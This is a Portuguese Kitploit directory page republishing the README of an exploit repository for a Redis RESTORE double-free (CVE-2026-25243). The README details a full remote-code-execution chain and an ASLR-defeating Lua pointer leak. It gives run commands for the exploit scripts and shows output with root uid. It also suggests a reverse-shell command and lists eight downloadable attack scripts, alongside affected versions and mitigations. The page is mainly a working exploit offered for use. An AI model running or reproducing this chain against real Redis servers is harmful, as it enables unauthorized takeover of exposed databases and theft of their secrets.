Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25243 — CVE-2026-25243 — double-free no Redis RESTORE zipmap → execução remota de código (ASLR ativado). | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2026-25243
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoEngenharia ReversaTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — double-free no Redis RESTORE zipmap → execução remota de código (ASLR ativado).

Ver Repositório
13há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25243 — Redis RESTORE zipmap double-free → execução remota de código

TL;DR. Um payload DUMP malformado passado para RESTORE dispara um double-free no heap no loader legado de hash-zipmap do Redis. Com o jemalloc padrão, o double-free é silencioso (o servidor continua em execução), o que o transforma em uma primitiva controlável de type confusion. Este repositório encadeia isso em execução remota de código com ASLR ativado — o worker do Redis chama system("<string do atacante>") e continua servindo. Não é um DoS.

root@kitploit:~
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

O leak que derrota o ASLR não usa DEBUG — ele lê o endereço do C-closure Lua redis.call (EVAL 'return tostring(redis.call)'), a mesma técnica autocontida e livre de DEBUG do nosso exploit anterior do Redis. blob_base/blob_robj e a base do PIE são então derivados em tempo de execução da over-read (sem offset fixo). O final PIE-ROP chama execve@plt por meio de um stack-pivot JOP, portanto usa zero endereços de libc — as únicas constantes específicas de build são offsets de gadgets relativos ao PIE lidos do binário redis-server, exatamente como a tabela de gadgets por build do nosso exploit HLL anterior. Verificado uid=0(root), ASLR ativado, 8/8, em um servidor padrão com DEBUG desabilitado.

Duas variantes de finalização são fornecidas. poc_rce_aslr_pie_rop.py (acima) é a mais autocontida — sem libc, totalmente autocalibrada — mas execve substitui o worker (use um --cmd de reverse shell; o melhor para um shell real). poc_rce_aslr_selfcal.py mantém o worker vivo (system() faz fork) ao custo de dois offsets de versão da libc. Escolha conforme você precise que o servidor sobreviva.


O bug

RESTORE key 0 <DUMP-payload> desserializa um objeto serializado. Para o tipo legado RDB_TYPE_HASH_ZIPMAP (0x09), o validador e o conversor discordam sobre quantos bytes um campo de comprimento ocupa:

  • zipmapValidateIntegrity() percorre com o tamanho codificado real (5 para o prefixo superlongo 0xFE);
  • zipmapNext() durante a conversão zipmap → listpack usa 1 byte para qualquer comprimento decodificado < 254.

Um comprimento pequeno escrito no formato superlongo de 5 bytes passa na validação, mas faz zipmapNext() avançar incorretamente 4 bytes. Duas consequências decorrem do mesmo erro de avanço: um over-read no heap (zipmap.c) e, apenas no Redis, um double-free no heap no loader de hash-zipmap em rdb.c:

root@kitploit:~
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd took ownership of `field` -> freed here
    sdsfree(field);               // (2) freed AGAIN  -> double-free

O Valkey protege isso (if (!field_added) sdsfree(field)); o Redis upstream não protege, então o double-free é exclusivo do Redis. A correção rejeita o comprimento curto codificado de forma superlonga e reordena as verificações em tempo de carregamento.

A cadeia de exploração (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

root@kitploit:~
silent double-free  ->  type-confusion overlap  ->  arbitrary pointer-forge
   ->  forge a hashtable hash's  dict->type  to a fake dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc path  (selfcal): hashFunction = &system            -> system("<cmd>")   (worker survives)
      PIE path   (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
                            -> leave;ret pivots rsp onto the field
                            -> execve("/bin/sh","-c","<cmd>")  via execve@plt        (no libc, no DEBUG)

O dictType falso é plantado dentro de uma string de 16 MB (SETRANGE) no único offset cujos bytes baixos do endereço correspondem ao cabeçalho sds da string do atacante. O ASLR é derrotado inteiramente em tempo de execução:

  • system — um único leak de ponteiro do heap. O caminho recomendado é sem DEBUG: o endereço do C-closure Lua redis.call (EVAL 'return tostring(redis.call)') — o mesmo leak autocontido que nosso exploit anterior do Redis usa. Os arenas do jemalloc ficam a um offset constante da libc, então system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT é apenas uma conveniência de laboratório quando o script está desabilitado, mas DEBUG está habilitado — a configuração mais rara.)
  • o endereço do blob de 16 MB (um mmap randomizado de forma independente) — lido com a leitura arbitrária do próprio bug: forje o dict de um SET para que seu membro seja um sds SDS_TYPE_32 de 107 KB, SMEMBERS faz over-read do heap adjacente, e o robj.ptr do blob é lido em seu offset conhecido.

Consulte WRITEUP.md para a análise completa primitivo por primitivo e os detalhes jemalloc / Redis-8.x conquistados com dificuldade (limite da classe 64, marcação de entradas do dict, hash-field mstr, pré-crescimento do keyspace).

Laboratório

root@kitploit:~
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"

O leak que derrota o ASLR (sem DEBUG)

O leak de ponteiro do heap de bootstrap segue a mesma abordagem do nosso exploit anterior do Redis: vaza o endereço do C-closure Lua redis.call com EVAL 'return tostring(redis.call)'. A scriptação Lua está ativada por padrão; DEBUG está desativado por padrão (enable-debug-command no) — portanto o leak via Lua é a opção principal realista, e DEBUG OBJECT (poc_rce_aslr.py) é apenas uma conveniência de laboratório. poc_rce_aslr_selfcal.py então deriva blob_base e blob_robj em tempo de execução do over-read (varredura pela assinatura do robj do blob de 16 MB), então DLUA/DFOBJ só precisam estar próximos.

Para a finalização com system, o over-read do heap pequeno não contém ponteiros de libc, então a libc não pode ser autoderivada — poc_rce_aslr_selfcal.py mantém dois offsets de versão da libc (DLIBC, SYSTEM_OFF). A finalização poc_rce_aslr_pie_rop.py remove essa dependência por completo: o mesmo over-read de fato carrega ponteiros do PIE (um dictType compartilhado aparece repetidamente), então a base do PIE é autocalibrada como most-common-PIE-value − DICTTYPE_OFF, e a cadeia termina em execve@plt por meio de um stack-pivot JOP (mov rbp,rdi; call *0x8(rax) → leave;ret pivota rsp para o campo HGET controlado pelo atacante, que é a cadeia ROP execve("/bin/sh","-c",<cmd>)). As únicas constantes específicas do build são os offsets de gadgets relativos ao PIE lidos do — extraia-os por alvo com /, exatamente como nosso exploit HLL anterior indexa uma tabela de gadgets por ELF Build-ID. Nenhum endereço de libc é usado.

Capturas de tela

screenshots/05-pie-rop-libc-free.png (a autocalibração NO libc + uid=0, a execução mais autocontida), 01-rce-aslr-on.png (a captura principal do uid=0), 02-reliability.png (5/5), 03-exploit-chain.png (o código), e 04-debug-free-selfcal.png (a execução system sem DEBUG e autocalibrada em um Redis padrão).

Impacto e versões afetadas

  • Remoto, sem privilégio especial. RESTORE é um comando comum — em um Redis não autenticado/exposto (sem requirepass), qualquer cliente conectado pode executá-lo; em uma instância autenticada, qualquer usuário sem uma negação de ACL -restore. Mesmo perfil de acesso que os comandos de estrutura de dados usados por outros RCEs do Redis.
  • Confirmado: double-free silencioso no heap, type confusion, leitura arbitrária da memória do processo (vazamento de informações que exfiltra chaves/segredos/ponteiros) e execução remota de código (este repositório).
  • Afetados: Redis < {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — ou seja, 6.2.x até o 8.x atual; o Valkey é apenas DoS/over-read (sua proteção field_added bloqueia o double-free).

Mitigação

Atualize para uma versão corrigida. Se não for possível: restrinja o RESTORE (ACL … -restore), nunca exponha o Redis sem autenticação e desabilite o DEBUG.


Pesquisa de segurança autorizada, publicada para conscientização de defensores. Não execute contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.

Baixar ferramenta
arquivoo que demonstra
★ exploits/poc_rce_aslr_pie_rop.pymais autocontido — RCE em um Redis DEFAULT (DEBUG desativado), SEM offsets de libc; autocalibra blob_base/blob_robj/pie_base; execve@plt via pivô JOP (o worker é substituído). 8/8.
★ exploits/poc_rce_aslr_selfcal.pymantém o worker vivo — mesma cadeia, mas hashFunction=&system (faz fork); custa dois offsets de versão da libc (DLIBC/SYSTEM_OFF). Leak do C-closure Lua, autocalibrando blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pysem DEBUG (leak via Lua), mas com offsets fixos (calibrados com DEBUG ativado)
exploits/poc_rce_aslr.pyvariante de conveniência de laboratório: leak de bootstrap via DEBUG OBJECT (exige DEBUG habilitado)
exploits/poc_rce_aslr_off.pyRCE com ASLR desativado (endereços calibrados)
exploits/poc_typeconfusion.pydouble-free → duas chaves compartilham um buffer do heap (sem ferramentas)
exploits/poc_doublefree.pyo double-free (ASan: heap-use-after-free em sdsfree)
exploits/poc_dos_overread.pyo crash por over-read (ASan)
redis-server
ROPgadget
objdump